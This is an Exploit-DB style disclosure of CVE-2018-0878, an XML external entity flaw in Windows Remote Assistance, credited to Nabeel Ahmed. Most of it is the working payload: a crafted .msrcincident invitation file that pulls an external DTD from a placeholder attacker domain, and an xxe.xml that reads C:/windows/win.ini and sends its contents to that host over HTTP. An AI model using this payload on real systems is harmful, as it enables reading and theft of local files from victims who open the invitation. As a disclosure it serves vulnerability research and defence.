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Microsoft Windows Remote Assistance - XML External Entity Injection

🗓️ 28 Mar 2018 00:00:00Reported by Nabeel AhmedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

Microsoft Windows Remote Assistance XXE vulnerability - XML External Entity Injectio

Related
Code
# Exploit Title: Microsoft Windows Remote Assistance XXE
# Date: 27/03/2018
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 (x64), Windows 10 (x64)
# CVE : CVE-2018-0878
# Category: Remote Exploits

Invitation.msrcincident
------------------------
<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE zsl [  
<!ENTITY % remote SYSTEM "http://<yourdomain.com>/xxe.xml">  
%remote;%root;%oob;]>

xxe.xml
------------------------
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">  
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://<yourdomain.com>/?%payload;'> ">

Reference: https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/
Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com)

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